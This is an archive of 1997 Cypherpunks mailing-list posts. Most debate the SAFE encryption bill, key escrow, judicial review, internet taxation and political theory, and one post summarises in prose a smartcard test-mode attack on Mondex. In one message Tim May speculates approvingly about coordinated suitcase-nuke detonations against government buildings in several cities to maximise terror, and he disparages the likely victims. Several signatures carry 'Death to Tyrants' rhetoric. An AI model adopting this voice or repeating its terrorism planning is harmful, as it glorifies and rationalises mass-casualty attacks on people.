anarchy. A perfect opportunity to examine the implications of these ideas,
ironically.

Should be exciting.  I can hardly wait. (I have been offered access to a
house a few blocks from campus, so I may not face the incredible parking
and traffic problems others are expected to face.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Wed, 10 Sep 1997 12:04:57 +0800
To: jellicle@inch.com>
Subject: Re: House National Security committee guts SAFE, worse than no b
Message-ID: <3.0.32.19970909203741.00c4a6c0@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:00 PM 9/9/97 -0400, Declan McCullagh wrote:
>Michael, you once again fail to note the important political issues here. 
>Sometimes civil liberties, freedom, and constitutional rights must be
>ignored in favor of pragmatism. It is important at all costs to remain a
>player in the game. 
>
No, it isn't. You end up being more concerned with being in the game than
with achieving your goals. Sometimes, you have to kick the board over.

I think it is more important to make the laws unenforceable (and make such
workarounds useful to the average netizen), than it is to try to keep the
government from passing laws. The work of people like Jim Ray and Phillip
Baker is crucial here.

The government is unlikely to pass laws to limit its own authority, on any
issue -- even those who might not want to use a particular power would
still want to keep it around 'just in case'. 

We cannot count on government to protect our freedoms. Therefore, we must
make it irrelevant to the exercise of those freedoms.

>Instead of opposing bad crypto legislation, we should instead work inside
>the process, to gain a seat at the table. That is why it is highly
>significant that both Commerce and FBI want to rid us of our freedom but
>would do it in subtly different ways. 

Not really, know. It's unlikely that a "Let's you and him fight" strategy
would prove effective, since this isn't just an interdepartmental turf
squabble. They will strip our freedoms first, and argue over who gets the
thumbscrews second.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 11:47:57 +0800
To: Declan McCullagh <jseiger@cdt.org>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <v03102807b03ba8918f73@[204.254.22.8]>
Message-ID: <v03102807b03bc5e166cd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:52 PM -0700 9/9/97, Declan McCullagh wrote:
>On Tue, 9 Sep 1997, Jonah Seiger wrote:
>
>> I am not suggesting that we should relax because the Administration is not
>> completely satisfied with this provision. They scored a hit against SAFE,
>> just like we won one at the Foreign Relations Committee.  Border skirmishes
>> in the larger, ongoing war.
>
>The war in Congress is essentially over. There is no realistic hope of
>good crypto legislation passing. I'd be interested to hear any
>hypothetical that you'd suggest to the contrary. Keep in mind when
>concocting it that you'd have to get past the Senate -- where pro-crypto
>legislation has been dead for months -- and a presidential veto.
>
>Can you honestly say that any legislation that would survive such a
>fearsome test would be better than the situation we have now? (That is, no
>domestic controls, an export control regime hanging from a shoestring, and
>moderately successful court challenges.)

I was never enthusiastic about SAFE anyway. The criminalization language
was bad news, and the approval language added along the way effectively
gutted the bill. Face it, would it have allowed free export of arbitrarily
strong, unbreakable crypto? If anyone thinks this, they're living in a
fantasy world.

And as Declan said, the Senate and the White House were very cold on SAFE.

So why bother? Why give the NSA and FBI an opening for regulating
_domestic_ crypto use just to let Netscape and Microsoft and a few other
companies export to "furriners." (I support free exports, obviously, but
not if it means restrictions in any way on existing liberties.)

The "software as free speech, which means it can be subjected to prior
restraint, government censorship, or export control" argument is proceeding
nicely, thanks to Bernstein, Gilmore, Junger, Cohn, and others, and is a
much more solid basis for ensuring civil liberties.

Just drop all work on SAFE and Pro-CODE sorts of things and focus efforts
on monkeywrenching GAK and widely distributing bootleg crypto around the
world, as fast as possible.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 12:02:52 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: House National Security committee guts SAFE, worse than no  b
In-Reply-To: <3.0.32.19970909203741.00c4a6c0@dnai.com>
Message-ID: <Pine.GSO.3.95.970909204341.1768A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard, I'm not sure if I should take your post as a compliment to my
writing abilities or an insult to my politics, but you should be aware
that my post about giving up freedom to play political games was entirely
facetious. Perhaps I should be more explicit in the future, but sometimes
it ruins the spoof. 

-Declan


On Tue, 9 Sep 1997, Lizard wrote:

> At 11:00 PM 9/9/97 -0400, Declan McCullagh wrote:
> >Michael, you once again fail to note the important political issues here. 
> >Sometimes civil liberties, freedom, and constitutional rights must be
> >ignored in favor of pragmatism. It is important at all costs to remain a
> >player in the game. 
> >
> No, it isn't. You end up being more concerned with being in the game than
> with achieving your goals. Sometimes, you have to kick the board over.
> 
> I think it is more important to make the laws unenforceable (and make such
> workarounds useful to the average netizen), than it is to try to keep the
> government from passing laws. The work of people like Jim Ray and Phillip
> Baker is crucial here.
> 
> The government is unlikely to pass laws to limit its own authority, on any
> issue -- even those who might not want to use a particular power would
> still want to keep it around 'just in case'. 
> 
> We cannot count on government to protect our freedoms. Therefore, we must
> make it irrelevant to the exercise of those freedoms.
> 
> >Instead of opposing bad crypto legislation, we should instead work inside
> >the process, to gain a seat at the table. That is why it is highly
> >significant that both Commerce and FBI want to rid us of our freedom but
> >would do it in subtly different ways. 
> 
> Not really, know. It's unlikely that a "Let's you and him fight" strategy
> would prove effective, since this isn't just an interdepartmental turf
> squabble. They will strip our freedoms first, and argue over who gets the
> thumbscrews second.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 11:59:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <v03102807b03bc5e166cd@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970909204903.1768B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I was talking to someone after a law class this evening (we're covering
electronic privacy topics, but unfortunately we're not at crypto yet). He
suggested widespread civil disobedience. 

Perhaps it's time to dare the Feds to prosecute you. Any volunteers?

-Declan


On Tue, 9 Sep 1997, Tim May wrote:

> Just drop all work on SAFE and Pro-CODE sorts of things and focus efforts
> on monkeywrenching GAK and widely distributing bootleg crypto around the
> world, as fast as possible.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Wed, 10 Sep 1997 12:29:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <341619BC.6A3F@worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May is correct (as is Declan's clarification of his earlier note). 
If the amendment does become law, however, do not expect two things:

1.  Do not expect that it will be fast-tracked to the Supreme Court, as
was the case with CDA.  Instead, expect that it will start with the
District Court, take years to get to and through the Court of Appeals,
and then, if the U.S. Supreme Court decides to hear the matter at all
(it would have no obligation to do so), much more time there.

2.  Do not expect that a case will involve a broad coalition of
plaintiffs, as was the case with the CDA.  Expect that the courts will
only entertain an action by a plaintiff with traditional standing:  one
who goes through all of the bureaucratic hoops trying to get a license,
and then is turned down.

None of us know, of course, if the amendment will become law.  But if it
does, plan on it being a good while before the judicial process results
in anything determinative, one way or the other.

-Jim

Tim May wrote:
> 
> At 8:12 PM -0700 9/9/97, Declan McCullagh wrote:
> >Let me clarify my earlier comments. The language sez Defense & Commerce
> >together can veto crypto exports, and:
> >
> >"Decisions made by the Secretary of Commerce with the concurrence of the
> >Secretary of Defense with respect to exports of encryption products under
> >this section shall not be subject to judicial review."
> 
> Then this is _not_ the sense in which you seemed to be implying that the
> Supreme Court would be precluded from declaring the law unconstitutional.
> 
> --Tim May
> 
> >-Declan
> >
> >
> >
> >On Tue, 9 Sep 1997, Declan McCullagh wrote:
> >
> >> Let me type in that section. But I'm talking about the issue of the
> >> constitutionality of the legislation, of course. National security and
> >> all.
> >>
> >> -Declan
> >>
> >> On Tue, 9 Sep 1997, Tim May wrote:
> >>
> >> > At 5:57 PM -0700 9/9/97, Declan McCullagh wrote:
> >> > >I won't comment on Tim's second possibility, but the amendment added to
> >> > >SAFE today by one committee //prohibits// judicial review. So much
> >>for the
> >> > >Supremes likely to strike it down.
> >> > >
> >> >
> >> > "Prohibits" in what sense, and in what language?
> >> >
> >> > There's obviously a difference between prohibiting judicial review of
> >> > specific wiretaps and the issue of the constitutionality of the
> >>legislation
> >> > itself! I can only surmise you must mean that language has been added
> >> > saying magistrates, etc. are not part of the wiretap process.
> >> >
> >> > Clearly Congress, by the separation of powers arrangement we have in the
> >> > U.S., cannot say "And, oh by the way, the Supreme Court is not allowed to
> >> > declare this law unconstitutional."
> >> >
> >> > --Tim May
> >> >
> >> > There's something wrong when I'm a felon under an increasing number of
> >>laws.
> >> > Only one response to the key grabbers is warranted: "Death to Tyrants!"
> >> > ---------:---------:---------:---------:---------:---------:---------:----
> >> > Timothy C. May              | Crypto Anarchy: encryption, digital money,
> >> > tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> >> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> >> > Higher Power: 2^1398269     | black markets, collapse of governments.
> >> > "National borders aren't even speed bumps on the information
> >>superhighway."
> >> >
> >> >
> >> >
> >> >
> >> >
> >> >
> >>
> >>
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 10 Sep 1997 09:07:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <v03102802b03a4c4ebf40@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970909205609.4720B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I won't comment on Tim's second possibility, but the amendment added to
SAFE today by one committee //prohibits// judicial review. So much for the
Supremes likely to strike it down.

-Declan



On Mon, 8 Sep 1997, Tim May wrote:

> 
> Though it's understandable why so many are expressing anger, gloom,
> anxiety, and rage over the Freeh-Feinstein mandatory key escrow draft bill,
> a better attitude is that of joy.
> 
> Any way it goes, this is good news for us.
> 
> If the Safe Internet Act (or whatever it is finally called)  is passed, the
> Supreme Court will likely strike it down (on First and/or Fourth Amendment
> grounds). This will marginalize the crypto folks, and perhaps cause the
> Court to reaffirm the Patel decision and related issues.
> 
> If the Safe Internet Act is never actually proposed, or dies in committee,
> or fails, then at least Big Brother's true intentions will have been shown.
> 
> Actually, this has already happened. All of those who ever expressed doubt
> that Big Brother planned to ban crypto must now see we were right all along.
> 
> The remaining alternate course, that the Act is passed, and then that the
> Supreme Court eventually affirms its constitutionality, is also good for
> us. For it will then mean war has been declared, and various extreme sorts
> of actions will then accelerate.
> 
> And that could be a lot of fun.
> 
> But I expect, in all seriousness, that the Freeh-Feinstein view will fade.
> Clinton is about to enter his lame duck phase, and sentiment seems to be
> against mandatory key escrow. As one ironic example, the California state
> legislature has voted unanimously, both houses, to send a message to
> Washington urging easing of crypto exports.
> 
> Feinswine, being a Californian, might want to heed this. But, being a
> Pacific Heights socialist, er, socialite, she's too clueless to have any
> inkling what the issues are.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Wed, 10 Sep 1997 12:16:16 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no  b
Message-ID: <3.0.32.19970909205722.00c9b644@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:47 PM 9/9/97 -0700, Declan McCullagh wrote:
>Lizard, I'm not sure if I should take your post as a compliment to my
>writing abilities or an insult to my politics, but you should be aware
>that my post about giving up freedom to play political games was entirely
>facetious. Perhaps I should be more explicit in the future, but sometimes
>it ruins the spoof. 
>
You know, I once pointed out the same spoof when you tried it a few months
back, and this time, I fell for it hook, line, and sinker. Hold on, time
for the excuse-o-matic

roll roll roll

a)It's late.
b)My cat was on the keyboard.
c)Er...I was kidding too. Heh heh...uh...yeah.
d)The sad thing is, there's people who *would* say that, and mean it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 10 Sep 1997 09:18:18 +0800
To: cypherpunks@Algebra.COM
Subject: With friends like these...
Message-ID: <199709100110.VAA18706@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



...who needs enemas? (Administered by plunger, no doubt.)

   Internet Tax Plan Is Needed, Net Creator Says
   (09/09/97; 12:00 p.m. EDT)
   By [33]Douglas Hayward, [34]TechWire

   GENEVA -- Internet taxes are inevitable, according to the man dubbed
   the "Father of the Net." The only way to avoid global chaos is to
   create an international agreement on how to do it, added Vint Cerf at
   a meeting of the Internet Society here. Cerf co-developed the
   [35]TCP/IP[LINK] protocol on which all Web and Net transaction depend.
   
   Although proposals for taxing the Internet were rejected by both the
   Clinton administration and the European Commission earlier this year,
   there will be no way to avoid it, he said. "We need to be prepared for
   the day when there will be taxation as a consequence of Internet
   transactions," said Cerf, who is senior vice president for Internet
   architecture and engineering at MCI, in Washington.
   
   Taxation of the Internet, also called "bit taxes," must be
   well-planned, Cerf said. "And it must also be thought through on a
   global scale -- not parochially," he said. In the United States alone,
   there are 30,000 taxing authorities that might be interested in taxing
   transactions on the Internet, said Cerf, adding that right now, there
   is no way to determine which of those authorities should have
   jurisdiction over a particular transaction.
   
   "Imagine going through 30,000 tests for each transaction -- no
   transaction would ever go through," Cerf said. "If the Internet
   becomes a major tool for electronic commerce, every major taxing
   jurisdiction in the world will be interested in using that as a
   revenue stream."
   
   Although the rate of growth of visible Internet hosts appears to be
   slowing significantly, the growth of intranets is still on the rise,
   Cerf said. "Traffic is growing at such as rate that on [MCI's]
   backbone, we will have to consume as much fiber capacity for the
   Internet as for the telephone network by the third quarter of 2110,"
   he said.
   
   As Internet traffic grows, Cerf said, legislators will move to
   regulate it. "You cannot have a fully and totally unregulated
   environment," he said.
   
   "If something is becoming an infrastructure that is important for
   people's daily lives, then governments will have the right to be
   concerned about the public's safety and well-being," Cerf said. "When
   you build roads, you make rules about how people are to behave on
   these roads, in order to protect people." [36]TW
   
                            [37]Search Archives
                            ____________________
                           [All CMP Publications]
                                   ______
                                      
   Related Stories:
   
   [38]Europe Rejects "Bit Tax"
   
   [39]Congress To Take Byte Out Of Taxes
   
   [40]Clinton: Hands Off The Internet
   
References

  35. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=TCP/IP
  36. http://www.techweb.com/
  37. http://www.techweb.com/search/search.html
  38. http://www.techweb.com/se/directlink.cgi?WIR1997040812
  39. http://www.techweb.com/se/directlink.cgi?WIR1997071107
  40. http://www.techweb.com/se/directlink.cgi?INV1997070102





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 10 Sep 1997 09:21:32 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Nuclear Hedge Funds / Social Engineering in History /  Wiretap DiFi
In-Reply-To: <3.0.3.32.19970908230135.006a94a4@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970909211218.4720C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 8 Sep 1997, Bill Stewart wrote:
> However, we need to get off this "Nuke Washington!" kick,
> and on to something more realistic like "Wiretap DiFi!"

I'd like to ask that if anyone is planning to Nuke Washington, they
politely let me know so I can go on an extended business trip to the
Montana mountains. I mean, it's just common courtesy!

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 10 Sep 1997 12:32:16 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <3.0.2.32.19970909211930.006d0008@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 9/9/97 -0700, Declan McCullagh wrote:
>Let me clarify my earlier comments. The language sez Defense & Commerce
>together can veto crypto exports, and:
>
>"Decisions made by the Secretary of Commerce with the concurrence of the
>Secretary of Defense with respect to exports of encryption products under
>this section shall not be subject to judicial review."

Decan,
This paragraph does not, and in fact could not, preclude judicial review of
the constitutionality of the statue itself.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 10:39:18 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
Message-ID: <199709100241.VAA07451@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 9 Sep 1997 19:02:37 -0700
> From: Steve Schear <azur@netcom.com>
> Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)

> >> No intrinsic flaws in democracy?
> >>
> >> Surely you jest.
> >
> >Please be so kind as to detail your top three flaws...
> 
> I think my Parts II and III detailed a number of shortcomings of democracy,
> at least when the franchise goes to 'employees' as opposed to 'customers'
> of government.

I have read 'The Sovereign Individual' as well so am somewhat familiar with
the thesis they propose. I will ask you the same question I would ask of
Davidson & Rees-Mogg...

Assume that we accept this thesis that the best way to run a government is
to structure it such that customers set policies and procedures. What
inherent protections does that give me regarding abuse by the system? How
do you propose to keep the majority from deciding that it is uneconomical to
protect my rights as some minority group? A careful study of business
practices versus race or socio-economic group (as expressed by dress) will
quickly show that persons of the wrong 'type' receive less service than
those of more acceptable groups. The sort of service the customer receives
is after all in the hands of the salesperson, not the customer.

Let's look at an admittedly contrived example but I believe it will suffice.
There are two fires at opposite ends of the coverage area for a fire house.
On Saturday they receive a call to go to one end, where the wealthy live.
Would you have the owner pay prior to the firemen putting the fire out?
Would they pay some premium beforehand? Now on Sunday a fire occurs on the
other end where the poor are. Assuming they can't pay the bill would the
firemen drive away? If so, wouldn't this in fact pose a threat not only to
the other poor but also the wealthy since the fire might spread if it got
large enough. Would the wealthy then be asked to pay for that run of the
fire truck? What if they refused, how would the firemen pay for the food to
feed their family? Perhaps go out and burn down more rich houses...

If there are not some inherent or explicit checks in place then such a
econo-government would reduce to mob-rule just as happens with democracy
without explicit bills of rights. Neither you or Davidson/Rees-Mogg address
this issue sufficiently. Furthermore, neither you or the authors address
exactly why such a government would abandon the use of force totaly. Exactly
why would this form of government reduce say burglary, thereby eliminating
the need for police. Is this form of government going to do away with bomb
weilding weenies, I doubt it, so we clearly have a need for federal or
national level law enforcement fully armed. Since it is clear that all 200+
world governments would not abandon their current forms of government there
is a clear and present danger from outside our borders. How do we protect
ourselves from this threat? You can't pay them not to attack you, otherwise
you are doing exacly what the system was supposed to avoid doing - paying
tributes.

You want a government with minimal intervention, the issue is not whether
it is a democracy or a econo-government or even a communism. What
measures that is the rights of the people recognized by the government
and how the government respects those rights.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Wed, 10 Sep 1997 10:02:10 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <v03102805b03b80c230ed@[204.254.21.72]>
Message-ID: <v03102807b03ba8918f73@[204.254.22.8]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:31 PM -0700 9/9/97, Declan McCullagh wrote:

>>    "Giving the secretary of defense a veto is inconsistent with the
>> president's executive order and inconsistent with the policies of four
>> prior administrations," Reinsch said. "The administration thinks all
>> relevent agencies should have a seat at the table and none should have a
>> veto."
>
>In other words, all the relevant agencies together should have a veto.
>Hardly a surprise. Reinsch is merely quibbling over details. (In fact, the
>amendment wouldn't even give Defense a solo veto.)

I am not suggesting that we should relax because the Administration is not
completely satisfied with this provision. They scored a hit against SAFE,
just like we won one at the Foreign Relations Committee.  Border skirmishes
in the larger, ongoing war.

None the less, this is much bigger than a quibble over details, IMHO.
There are important policy implications of this language.  And politically,
it is extremely significant that Reinsch would be critical at all,
considering that the Committee voted to substantially undercut the bill
(one of Reinsch's top priorities).  Perhaps you missed this nuance.

Best,

Jonah



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 10:50:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: US Govt., Hackers, & security - Cable TV
Message-ID: <199709100252.VAA07559@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

There is some show on TDC about the Internet and how it can be used as a
threat to national security. It is 9:41pm Ctl. so check your schedule.

Looks like good advertising...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 10 Sep 1997 10:14:04 +0800
To: cypherpunks@toad.com
Subject: Mondex Broken
Message-ID: <1.5.4.32.19970910015508.0086f57c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've received from anonymous a report on breaking
Mondex's pilot system by TNO along with a confidential
1996 memo describing the break:

   TNO's Ernst Bovenlander gave some details of these 
   attacks (though he didn't mention Mondex as the target). 
   He showed an electron micrograph of a fuzed link in a 
   smartcard; while intact, this link activated a test mode in 
   which the card contents were simply dumped to the 
   serial port. The TNO attack was to bridge the link with 
   two microprobes. At the last RSA conference, Tom 
   Rowley of National Semiconductor reported a similar 
   attack on an unnamed chip using an ion beam to 
   rewrite the link .

Included is a letter from the Bank of New Zealand to 
Electronic Frontier Canada attempting to suppress 
publication of the memo.

   http://jya.com/mondex-hack.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 13:22:47 +0800
To: declan@well.com
Subject: RE: Nuclear Hedge Funds
In-Reply-To: <v03102803b03bbc3d22d3@[207.167.93.63]>
Message-ID: <v03102808b03bdb426c9e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 PM -0700 9/9/97, Declan McCullagh wrote:
>On Tue, 9 Sep 1997, Tim May wrote:
>> Declan would be very unlikely to be in the lethal zone, unless he happened
>> to be near one of the obvious targets.
>>
>> (Which in my opinion would be the White House, the Congress, the Pentagon,
>> or the densepack burrowcrat warrens. Using the above calculations, it is
>> quite reasonable that big chunks of these buildings would survive a
>> suitcase nuke placed a few hundred meters away. The Pentagon might lose a
>> bite out of it, and thus look like some kind of mil-spec Apple logo.)
>
>That's hardly comforting (not sure if it was meant to be). I work four or
>so blocks from the White House and spend a good bit of time in the Capitol
>and related buildings. My office is in the densepack lobbyist warren
>territory on K Street.
>
>I do live, however, about a mile and a half from anything especially
>targetworthy.

Then you may  be OK, as the best time to trigger such events is probably at
rush hour in the morning, where I assumed, being a reporter, you're still
recovering from the shmooze parties the night before.

One thing that seems possible is a coordinated, multi-city detonation
(assuming the freedom fighters have several armable devices, which seems
possible). Several small nukes being detonated in A, B, C, and D (where
these are the capitals or centers of influence of one's political
opponents) would synergistically magnify the terror effect. Detonating just
one of them would probably result in severe travel restrictions, martial
law, etc., and so make detonation of the later ones problematic.

More of us will be executed, tortured, or otherwise injured in the
aftermath of martial law than would be injured in a suitcase-nuking of the
snake's head. (By "us" I mean reasonable people like ourselves, not the
unemployable welfare addicts and unemployable government lifers who cluster
around the target zones.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 10 Sep 1997 13:33:21 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909201055.9741C-100000@well.com>
Message-ID: <199709100526.WAA07506@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	That appears to me to make specific export approvals not
subject to review but the law can still be subject to review.

> Let me clarify my earlier comments. The language sez Defense & Commerce
> together can veto crypto exports, and:
> 
> "Decisions made by the Secretary of Commerce with the concurrence of the
> Secretary of Defense with respect to exports of encryption products under
> this section shall not be subject to judicial review."
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 10 Sep 1997 10:43:16 +0800
To: <cypherpunks@ssz.com>
Subject: Re: EMP & Cars (fwd)
Message-ID: <199709100234.WAA13189@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/8/97 7:00 AM, Peter Trei (trei@process.com)  passed this wisdom:

>Ham radio operators have been dealing with this issue for years. 
>There's a lot of (mostly anectodotal) stories of mobile operators
>keying up their rigs and having either their own or neighbouring
>cars misfiring or dieing. Shielded ignition cables seem to fix 
>things (though they are actually bought to prevent ignition noise 
>from getting into the radio, not the other way around).

 My 1988 Bronco II used to drop out of Cruise Control if I used 25 watts 
or more on 440 MHz FM. On the 50 watt setting at 440 MHz the engine would 
start running rough, though it never died. de ka2bqe



Brian B. Riley --> http://www.macconnect.com/~brianbr
    For PGP Keys -  Send Email Subject "Get PGP Key"
    -- of Steve Jobs (1997)
  "He gazed up at the enormous face. But it was all right. 
   Everything was all right, the struggle was finished. He had
   won the victory against himself. "
  "He loved Big Brother."                 -- George Orwell, "1984"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 13:41:37 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The "Vision" Thang, and Tales out of School...
In-Reply-To: <199709100321.XAA10545@www.video-collage.com>
Message-ID: <v03102809b03bddbb0138@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:48 PM -0700 9/9/97, Robert Hettinga wrote:
>At 11:21 pm -0400 on 9/9/97, Sean Roach wrote:
>
>
>> Gates?  The closest he had to a grand vision is being able to predict the
>> financial gain behind programming computers.
>
>Yes. And I'd call that a "grand vision", even in Tim's use of the phrase.
